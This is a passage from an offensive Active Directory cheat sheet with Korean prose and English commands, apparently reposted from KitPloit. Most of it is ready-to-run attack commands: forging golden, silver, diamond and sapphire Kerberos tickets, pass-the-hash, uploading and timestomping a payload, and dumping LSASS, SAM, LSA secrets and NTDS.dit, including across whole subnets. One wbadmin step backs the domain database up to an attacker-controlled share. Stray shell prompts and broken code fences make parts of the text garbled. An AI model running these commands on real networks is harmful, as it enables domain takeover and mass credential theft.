describeTicket /path/to/jdoe.ccache describeTicket /path/to/jdoe.kirbi

root@kitploit:~
[↑ 인덱스로 돌아가기](#index)

---

### 비밀번호 변경```bash
# impacket — user changes own password
changepasswd.py -protocol kpasswd DOMAIN/jdoe:[email protected] -newpass NewPass

# Titanis — change own password
Kerb changepw jdoe@DOMAIN 192.168.1.1 -Password OldPass NewPass

# impacket — admin resets another user's password
changepasswd.py -reset DOMAIN/admin:[email protected] -newpass NewPass -altuser DOMAIN/jdoe

# bloodyAD — admin resets another user's password
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set password jdoe NewPass

# bloodyAD — pass-the-hash
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 set password jdoe NewPass

# Titanis — admin sets another user's password
Kerb setpw -UserName admin -UserDomain DOMAIN -Kdc 192.168.1.1 -Password AdminPass jdoe@DOMAIN NewPass

# gopacket — admin resets another user's password (SAMR over SMB)
changepasswd -reset -altuser DOMAIN/admin -altpass AdminPass -newpass NewPass DOMAIN/[email protected]
# gopacket — admin reset via pass-the-hash
changepasswd -reset -altuser DOMAIN/admin -althash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -newpass NewPass DOMAIN/[email protected]

↑ 인덱스로 돌아가기


골든 / 실버 티켓

Titanis 상태: 티켓 위조를 지원하지 않습니다. Metasploit auxiliary/admin/kerberos/forge_ticket(네이티브 Ruby) 또는 impacket ticketer.py를 사용하세요. ⚠️ 현재 위조된 티켓은 Titanis에 로드할 수 없습니다 -Tgt를 통해 — impacket은 TGT 서비스 주체를 NT_PRINCIPAL(이름 유형 1)로 인코딩하지만 Titanis는 NT_SERVICE_INSTANCE(이름 유형 2)를 기대합니다. 개발자의 수정이 대기 중입니다. 지금은 위조된 티켓과 함께 KRB5CCNAME + impacket(wmiexec.py -k, smbclient.py -k)을 직접 사용하세요.```bash

Step 1 — obtain krbtgt hash via DCSync

secretsdump.py DOMAIN/Administrator:[email protected]
-just-dc-user DOMAIN/krbtgt | grep krbtgt

Step 1 alt — pypykatz DCSync

pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]"
--username krbtgt

Step 2a — forge golden ticket (Metasploit)

msf6 > use auxiliary/admin/kerberos/forge_ticket msf6 auxiliary(forge_ticket) > run action=FORGE_GOLDEN domain=DOMAIN.LOCAL
domain_sid=S-1-5-21-... nthash=<krbtgt_ntlm> username=Administrator

Step 2b — forge silver ticket (Metasploit)

msf6 auxiliary(forge_ticket) > run action=FORGE_SILVER domain=DOMAIN.LOCAL
domain_sid=S-1-5-21-... nthash=<service_ntlm> username=Administrator
spn=cifs/fileserver.domain.local

Step 2c — forge diamond ticket (Metasploit)

msf6 auxiliary(forge_ticket) > run action=FORGE_DIAMOND domain=DOMAIN.LOCAL
rhosts=192.168.1.1 user=jdoe password=Password123
nthash=<krbtgt_ntlm> username=Administrator

Step 2d — forge sapphire ticket (Metasploit)

msf6 auxiliary(forge_ticket) > run action=FORGE_SAPPHIRE domain=DOMAIN.LOCAL
rhosts=192.168.1.1 user=jdoe password=Password123
nthash=<krbtgt_ntlm> username=Administrator

Step 2e — forge golden ticket (impacket)

ticketer.py -nthash <krbtgt_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL Administrator

Step 3 — use forged ticket with impacket (Titanis cannot load externally forged ccache files)

export KRB5CCNAME=Administrator.ccache wmiexec.py -k -no-pass DOMAIN/[email protected] "whoami" smbclient.py -k -no-pass DOMAIN/[email protected]

Silver ticket (impacket) — use with KRB5CCNAME + impacket

ticketer.py -nthash <service_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL -spn cifs/fileserver.domain.local Administrator export KRB5CCNAME=Administrator.ccache smbclient.py -k -no-pass DOMAIN/[email protected]

Titanis — non-functional with forged tickets currently; shown for API reference only

(-Tgt rejects impacket ccache due to NT_PRINCIPAL vs NT_SERVICE_INSTANCE name type; fix pending)

Wmi exec dc01 -ha 192.168.1.1 -UserName Administrator -UserDomain DOMAIN \

-TicketCache Administrator.ccache "whoami"

Smb2Client ls \fileserver.domain.local\C$ -UserName Administrator -UserDomain DOMAIN \

-TicketCache Administrator.ccache

gopacket — golden ticket (requires krbtgt NT hash and domain SID)

ticketer -nthash <krbtgt_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL Administrator export KRB5CCNAME=Administrator.ccache wmiexec -k -no-pass DOMAIN/[email protected] "whoami"

gopacket — silver ticket (service account NT hash)

ticketer -nthash <service_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL -spn cifs/fileserver.domain.local Administrator export KRB5CCNAME=Administrator.ccache smbclient -k -no-pass DOMAIN/[email protected]

root@kitploit:~
[↑ 인덱스로 돌아가기](#index)

---

## 3. SMB / 파일 작업

### 공유 목록```bash
# impacket
smbclient.py -shares DOMAIN/jdoe:[email protected]

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --shares

# smbclient
smbclient -L //192.168.1.10 -U 'DOMAIN\jdoe%Password123'

# aiosmb — password
asmbshareenum "smb+ntlm-password://DOMAIN\jdoe:[email protected]"

# aiosmb — pass-the-hash
asmbshareenum "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"

# aiosmb — Kerberos ccache
asmbshareenum "smb+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10/?dc=192.168.1.1&ccache=jdoe.ccache"

# Titanis
Smb2Client enumshares \\192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123

# gopacket — password
smbclient -shares DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
smbclient -shares -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

↑ 목차로 돌아가기


찾아보기 / 파일 목록```bash

impacket

smbclient.py DOMAIN/jdoe:[email protected]

smbclient-ng

smbclient-ng -u jdoe -p Password123 --domain DOMAIN --host 192.168.1.10

aiosmb — interactive client (ls, cd, get, put, services, sessions, whoami, tasks built-in)

asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]"

aiosmb — pass-the-hash

asmbclient "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"

Titanis

Smb2Client ls \192.168.1.10\Share -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client ls \192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123

gopacket — interactive SMB shell (ls, cd, get, put)

smbclient DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

smbclient -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ 목차로 돌아가기](#index)

---

### 파일 다운로드```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> get Windows\System32\drivers\etc\hosts hosts.txt

# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'get Windows\System32\drivers\etc\hosts hosts.txt'

# aiosmb — password (full path embedded in URL after the host)
asmbgetfile "smb+ntlm-password://DOMAIN\jdoe:[email protected]/C$/Windows/System32/drivers/etc/hosts" \
  -o hosts.txt

# aiosmb — pass-the-hash
asmbgetfile "smb+ntlm-nt://DOMAIN\jdoe:[email protected]/C$/Windows/System32/drivers/etc/hosts" \
  -o hosts.txt

# Titanis
Smb2Client get \\192.168.1.10\C$\Windows\System32\drivers\etc\hosts hosts.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

↑ 인덱스로 돌아가기


백업 의미 체계로 다운로드

잠겨 있거나 보호된 파일(NTDS.dit, SYSTEM 하이브 등)의 경우.```bash

Titanis

Smb2Client get \192.168.1.10\C$\Windows\NTDS\ntds.dit ntds.dit
-UserName jdoe -UserDomain DOMAIN -Password Password123 -UseBackupSemantics

root@kitploit:~
[↑ 목차로 돌아가기](#index)

---

### 파일 업로드```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> put payload.exe Windows\Temp\payload.exe

# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'put payload.exe Windows\Temp\payload.exe'

# Titanis
Smb2Client put payload.exe \\192.168.1.10\C$\Windows\Temp\payload.exe \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

↑ 목차로 돌아가기


디렉터리 및 파일 생성/삭제```bash

impacket

smbclient.py DOMAIN/jdoe:[email protected]

smb: > mkdir Windows\Temp\newdir

smb: > rmdir Windows\Temp\newdir

smb: > del Windows\Temp\file.txt

smbclient

smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' -c 'mkdir Windows\Temp\newdir' smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' -c 'rmdir Windows\Temp\newdir' smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' -c 'del Windows\Temp\file.txt'

Titanis

Smb2Client mkdir \192.168.1.10\C$\Windows\Temp\newdir -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client rmdir \192.168.1.10\C$\Windows\Temp\newdir -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client rm \192.168.1.10\C$\Windows\Temp\file.txt -UserName jdoe -UserDomain DOMAIN -Password Password123

root@kitploit:~
[↑ 인덱스로 돌아가기](#index)

---

### 명명된 파이프 나열```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> cd \pipe\
# smb: \pipe\> ls

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --pipe

# Titanis
Smb2Client ls \\192.168.1.10\IPC$ -UserName jdoe -UserDomain DOMAIN -Password Password123

↑ 목차로 돌아가기


Pass the Hash — SMB```bash

impacket

smbclient.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

NetExec

netexec smb 192.168.1.10 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

aiosmb

asmbclient "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"

Titanis

Smb2Client ls \192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN
-NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

root@kitploit:~
[↑ 색인으로 돌아가기](#index)

---

### SOCKS5를 통한 SMB```bash
# impacket
proxychains smbclient.py DOMAIN/jdoe:[email protected]

# aiosmb — SOCKS5 (native, no proxychains needed)
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]/?proxyhost=127.0.0.1&proxyport=1080"

# aiosmb — SOCKS4
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]/?proxytype=socks4&proxyhost=127.0.0.1&proxyport=1080"

# Titanis
Smb2Client ls \\192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -Socks5 127.0.0.1:1080

↑ 목차로 돌아가기


열린 파일 / 세션 열거```bash

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --sessions netexec smb 192.168.1.10 -u jdoe -p Password123 --loggedon-users

aiosmb — interactive client commands

asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]"

smb> sessions

smb> files

Titanis

Smb2Client enumopenfiles \192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client enumsessions \192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123

gopacket — enumerate sessions and open files

netview DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

netview -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ 목차로 돌아가기](#index)

---

### 원격 파일 타임스탬프 변조```bash
# smbclient-ng
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \
  touch --time "2022-01-01 00:00:00" C$/Windows/Temp/payload.exe

# Titanis
Smb2Client touch \\192.168.1.10\C$\Windows\Temp\payload.exe \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -LastWriteTimestamp "2022-01-01 00:00:00"

↑ 인덱스로 돌아가기


VSS 스냅샷 열거```bash

impacket — connect, switch to share, then enumerate snapshots

smbclient.py DOMAIN/jdoe:[email protected]

smb: > use c$

smb: \c$> list_snapshots

@GMT-2026.03.15-22.24.19

smbclient-ng

smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN snapshots C$

Titanis

Smb2Client enumsnapshots \192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123

gopacket — ⚠️ list_snapshots not implemented in gopacket smbclient (feature request pending)

Use impacket smbclient.py or native smbclient for this step

root@kitploit:~
> **@GMT 스냅샷 경로 접근:** `@GMT-...`는 실제 디렉터리가 아닙니다. Windows SRV.SYS가 SMB2 CREATE 경로에서 해당 토큰을 가로채 VSS 스냅샷으로 리디렉션합니다. 경로를 구성 요소별로 탐색하는 도구(`Smb2Client get` 포함)는 `STATUS_OBJECT_PATH_NOT_FOUND`를 받게 됩니다. 전체 경로를 단일 CREATE 요청으로 보내는 smbclient.py 또는 네이티브 smbclient를 사용하세요:
>
> ```bash
> # impacket smbclient.py — enumerate then pull via snapshot path
> smbclient.py DOMAIN/jdoe:[email protected]
> # smb: \> use c$
> # smb: \c$\> list_snapshots
> # @GMT-2026.03.15-22.24.19
> # smb: \c$\> get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit
>
> # native smbclient (Samba)
> smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
>   -c 'get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit'
> ```

[↑ 목차로 돌아가기](#index)

---

### NTFS 대체 데이터 스트림(ADS) 열거```bash
# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'allinfo Windows\Temp\file.txt'

# smbclient-ng
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \
  streams C$/Windows/Temp/file.txt

# Titanis
Smb2Client enumstreams \\192.168.1.10\C$\Windows\Temp\file.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

↑ 인덱스로 돌아가기


서버 NIC 열거```bash

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --interfaces

smbclient-ng

smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN nics

Titanis

Smb2Client enumnics \192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123

root@kitploit:~
[↑ 인덱스로 돌아가기](#index)

---

### 대량 공유 열거```bash
# NetExec
netexec smb 192.168.1.0/24 -u jdoe -p Password123 --shares

# aiosmb — async subnet scanner (faster than looping)
# syntax: asmbscanner [global_opts] {file|brute|list} <url> <ip/cidr>
# results written to TSV files in output dir (-o dir, default: current dir)
asmbscanner -w 5 --no-progress file \
  "smb+ntlm-password://DOMAIN\jdoe:Password123@" 192.168.1.0/24

# aiosmb — pass-the-hash
asmbscanner -w 5 --no-progress file \
  "smb+ntlm-nt://DOMAIN\jdoe:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5@" 192.168.1.0/24

# Titanis
while IFS= read -r host; do
  echo "=== $host ==="
  smb2 enumshares "\\\\${host}" -UserName jdoe -UserDomain DOMAIN \
    -Password Password123 2>/dev/null
done < hosts.txt

↑ 목차로 돌아가기


4. 자격 증명 덤핑

LSASS 미니덤프 파싱 (오프라인)```bash

pypykatz — parse captured LSASS minidump

pypykatz lsa minidump lsass.DMP

Output to JSON

pypykatz lsa minidump lsass.DMP -o lsass_creds.json --json

Extract Kerberos tickets to ccache files (loadable via Titanis -TicketCache)

pypykatz lsa minidump lsass.DMP -k /tmp/kerberos_tickets/

Extract DPAPI masterkeys from LSASS memory

pypykatz lsa minidump lsass.DMP -o dpapi_keys.json

pypykatz — live LSASS dump + parse remotely over SMB (no minidump file needed)

pypykatz smb lsassdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" pypykatz smb lsassdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"

NetExec — remote LSASS dump via SMB

netexec smb 192.168.1.10 -u jdoe -p Password123 -M lsassy

root@kitploit:~
[↑ 목차로 돌아가기](#index)

---

### SAM 해시 덤프```bash
# impacket
secretsdump.py -sam DOMAIN/jdoe:[email protected]

# Metasploit
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=Password123 action=SAM

# Metasploit — pass-the-hash
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  action=SAM

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --sam

# pypykatz — remote SAM dump via SMB
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" --sam
pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]" --sam

# Titanis — requires -BackupSemantics even as domain admin; without it → ACCESS_DENIED
Reg dumpsam 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics

# Titanis — backup operator (no admin required, -BackupSemantics still required)
Reg dumpsam 192.168.1.10 -UserName backupuser -UserDomain DOMAIN \
  -Password Password123 -BackupSemantics

↑ 목차로 돌아가기


LSA Secrets 덤프```bash

impacket

secretsdump.py -lsa DOMAIN/jdoe:[email protected]

Metasploit

msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN
smbuser=jdoe smbpass=Password123 action=LSA

Metasploit — pass-the-hash

msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN
smbuser=jdoe smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
action=LSA

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --lsa

pypykatz — remote LSA secrets dump via SMB

pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" --lsa pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]" --lsa

Titanis — requires -BackupSemantics; without it → ACCESS_DENIED

Reg dumplsasecrets 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics

root@kitploit:~
[↑ 인덱스로 돌아가기](#index)

---

### SAM + LSA 함께 덤프```bash
# impacket
secretsdump.py DOMAIN/jdoe:[email protected]

# Metasploit — ALL action (SAM + LSA + cached creds)
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=Password123 action=ALL

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --sam --lsa

# pypykatz — remote registry dump via SMB
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"
pypykatz smb regdump "smb2+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10?ccache=jdoe.ccache"

# pypykatz — remote LSASS dump + parse via SMB
pypykatz smb lsassdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
pypykatz smb lsassdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"

# pypykatz — combined (SAM + LSA + LSASS in one call)
pypykatz smb secretsdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"

# Titanis — requires -BackupSemantics for both; without it → ACCESS_DENIED
Reg dumpsam        192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics
Reg dumplsasecrets 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics

# gopacket — SAM + LSA + DCSync (password)
secretsdump DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
secretsdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

↑ 목차로 돌아가기


호스트 전반의 대량 SAM / LSA 덤프```bash

NetExec

netexec smb 192.168.1.0/24 -u jdoe -p Password123 --sam --lsa

NetExec — pass-the-hash

netexec smb 192.168.1.0/24 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --sam --lsa

pypykatz — combined SAM + LSA + LSASS across a host list

while IFS= read -r host; do echo "=== $host ===" >> pypykatz_dump.txt pypykatz smb secretsdump "smb2+ntlm-password://DOMAIN\jdoe:Password123@${host}"
>> pypykatz_dump.txt 2>&1 done < hosts.txt

Titanis

while IFS= read -r host; do echo "=== $host ===" | tee -a sam_dump.txt reg dumpsam "$host" -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics >> sam_dump.txt 2>&1 reg dumplsasecrets "$host" -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics >> lsa_dump.txt 2>&1 done < hosts.txt

root@kitploit:~
[↑ 인덱스로 돌아가기](#index)

---

### VSS 스냅샷을 통한 NTDS 덤프

> DC에서 VSS 섀도 복사본을 요청하고 스냅샷에서 NTDS.dit + SYSTEM 하이브를 직접 읽습니다. 복제를 사용하지 않습니다 — DCSync가 차단되거나 모니터링될 때 유용합니다.

> **⚠️ `-use-vss` 제한 사항:** secretsdump의 `-use-vss`는 내부적으로 smbexec를 사용하여 vssadmin을 실행하고 출력을 수집합니다. smbexec 서비스 생성에는 SVCCTL `PacketPrivacy` 인증 수준이 필요하지만, secretsdump는 이를 협상하지 않습니다 — 서비스 생성이 조용히 실패하고 출력 파일은 결코 작성되지 않습니다. 대신 SVCCTL을 완전히 우회하는 `-use-remoteSSWMI -use-remoteSSWMI-NTDS`를 사용하세요.```bash
# impacket — VSS method (default exec via smbexec)
# ⚠️ Fails if SVCCTL requires PacketPrivacy; use -use-remoteSSWMI-NTDS instead
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss

# impacket — VSS with explicit exec method
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss \
  -exec-method wmiexec

# impacket — VSS pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -use-vss

# impacket — VSS with output file + useful display flags
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss \
  -outputfile ntds_dump -user-status -pwd-last-set

# impacket — WMI shadow snapshot (preferred VSS method; no SVCCTL / smbexec required)
# Creates VSS copy via Win32_ShadowCopy WMI class, downloads SAM/SYSTEM/SECURITY locally
secretsdump.py DOMAIN/Administrator:[email protected] -use-remoteSSWMI

# impacket — WMI shadow snapshot including NTDS.dit (DC-specific)
# -use-remoteSSWMI-NTDS must be used together with -use-remoteSSWMI
secretsdump.py DOMAIN/Administrator:[email protected] \
  -use-remoteSSWMI -use-remoteSSWMI-NTDS

# impacket — WMI shadow pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -use-remoteSSWMI -use-remoteSSWMI-NTDS

# NetExec — VSS method
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss

# NetExec — VSS pass-the-hash
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds vss

# NetExec — VSS, enabled accounts only
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss --enabled

# Titanis — enumerate existing snapshots
Smb2Client enumsnapshots \\192.168.1.1\C$ -UserName Administrator -UserDomain DOMAIN -Password Password123

# Retrieve files from snapshot — use token from enumsnapshots or vssadmin output
smbclient.py DOMAIN/Administrator:[email protected]
# list_snapshots C$
# get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit
# get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM

# native smbclient (Samba)
smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \
  -c 'get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit'
smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \
  -c 'get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM'

# Parse offline
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

↑ 목차로 돌아가기


IFM을 통한 NTDS 덤프 (ntdsutil)

DC에서 Install-From-Media 세트를 생성하기 위해 ntdsutil ifm을 사용합니다. 이는 NTDS.dit의 복사본을 생성하는 합법적인 AD 작업입니다. ntdsutil은 기본 제공 AD 관리 도구이므로 일부 환경에서는 VSS보다 덜 눈에 띕니다.

⚠️ WMI 실행 제한: ntdsutil은 실행 프로세스에서 SeBackupPrivilege와 완전한 토큰 승격이 필요합니다. WMI로 생성된 프로세스는 도메인 관리자라도 완전히 승격된 토큰을 받지 못합니다. 자격 증명과 관계없이 ntdsutil은 Access is denied를 반환합니다. WMI 기반 실행이 실패하면 대신 secretsdump -use-remoteSSWMI -use-remoteSSWMI-NTDS 또는 diskshadow LOLBin을 사용하세요. NetExec -M ntdsutil 모듈은 일부 대상에서 기본 실행 방법을 통해 성공할 수 있습니다.```bash

impacket — trigger ntdsutil via wmiexec, pull files, parse

⚠️ ntdsutil must be called by full path when invoked via WMI: C:\Windows\System32\ntdsutil.exe

wmiexec.py DOMAIN/Administrator:[email protected]
"ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\ifm" q q"

Wait for completion, then retrieve

smbclient.py DOMAIN/Administrator:[email protected]

smb: > get Windows\Temp\ifm\Active Directory\ntds.dit ntds.dit

smb: > get Windows\Temp\ifm\registry\SYSTEM SYSTEM

NetExec — ntdsutil module (handles exec + retrieval + parsing automatically)

netexec smb 192.168.1.1 -u Administrator -p Password123 -M ntdsutil

NetExec — ntdsutil module pass-the-hash

netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -M ntdsutil

Titanis — exec via WMI, retrieve via SMB, parse offline

⚠️ WMI process token elevation issue; may return Access is denied. Use diskshadow or -use-remoteSSWMI-NTDS instead.

Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"C:\Windows\System32\ntdsutil.exe "ac i ntds" "ifm" "create full C:\Windows\Temp\ifm" q q" Smb2Client get "\192.168.1.1\C$\Windows\Temp\ifm\Active Directory\ntds.dit" ntds.dit
-UserName Administrator -UserDomain DOMAIN -Password Password123 Smb2Client get "\192.168.1.1\C$\Windows\Temp\ifm\registry\SYSTEM" SYSTEM
-UserName Administrator -UserDomain DOMAIN -Password Password123

Clean up

Smb2Client rmdir "\192.168.1.1\C$\Windows\Temp\ifm"
-UserName Administrator -UserDomain DOMAIN -Password Password123

Parse offline

secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

root@kitploit:~
[↑ 인덱스로 돌아가기](#index)

---

### wbadmin을 통한 NTDS 덤프 (Windows Server Backup)

> `wbadmin`은 VSS를 내부적으로 사용하여 파일을 네트워크 공유에 백업하는 기본 제공 Windows LOLBin입니다. 로컬 스테이징이 없고 백업 작업 외에 코드 실행 아티팩트가 없습니다. Backup Operators에 대해 작동합니다(DA 필요 없음). DC에서 공유 폴더에 쓸 수 있어야 합니다.

> **⚠️ `WindowsServerBackup` Windows 기능이 필요합니다.** wbadmin 바이너리는 기능이 설치되지 않은 경우에도 스텁으로 존재합니다. 이 경우 명령이 멈추거나 조용히 실패합니다. 시도하기 전에 기능이 활성 상태인지 확인하세요: `Get-WindowsFeature WindowsServerBackup`(PowerShell) 또는 `DISM /online /Get-FeatureInfo /FeatureName:WindowsServerBackup`. `InstallState`가 `Installed`가 아니면 이 방법은 작동하지 않습니다.```bash
# Check feature state (run via WMI exec before proceeding)
wmiexec.py DOMAIN/Administrator:[email protected] \
  "powershell -c \"(Get-WindowsFeature WindowsServerBackup).InstallState\""

# Step 1 — trigger backup of NTDS.dit from DC to an attacker-controlled share
# (run via wmiexec / scm / any exec method)
wmiexec.py DOMAIN/Administrator:[email protected] \
  "wbadmin start backup -backupTarget:\\\\<attacker-ip>\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet"

# Titanis — exec via WMI
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123 \
  "wbadmin start backup -backupTarget:\\\\<attacker-ip>\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet"

# Step 2 — list backup versions to get the version identifier
wmiexec.py DOMAIN/Administrator:[email protected] "wbadmin get versions"

# Step 3 — recover the NTDS.dit from the backup
wmiexec.py DOMAIN/Administrator:[email protected] \
  "wbadmin start recovery -version:<VERSION> -items:C:\\Windows\\NTDS\\ntds.dit \
  -itemType:File -recoveryTarget:C:\\Windows\\Temp\\ -notRestoreAcl -quiet"

# Step 4 — also need SYSTEM hive
wmiexec.py DOMAIN/Administrator:[email protected] \
  "reg save HKLM\\SYSTEM C:\\Windows\\Temp\\SYSTEM"

# Step 5 — retrieve both files and parse offline
Smb2Client get "\\192.168.1.1\C$\Windows\Temp\ntds.dit" ntds.dit \
  -UserName Administrator -UserDomain DOMAIN -Password Password123
Smb2Client get "\\192.168.1.1\C$\Windows\Temp\SYSTEM" SYSTEM \
  -UserName Administrator -UserDomain DOMAIN -Password Password123
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

↑ Back to Index


Diskshadow를 통한 NTDS 덤프

diskshadow.exe는 VSS와 직접 상호작용하는 Windows 기본 제공 LOLBin입니다. vssadmin이 차단되거나 모니터링될 때 유용합니다 — diskshadow는 덜 일반적으로 플래그됩니다. Backup Operators는 전체 DA 없이 사용할 수 있습니다. DC에 스크립트 파일을 업로드해야 합니다.

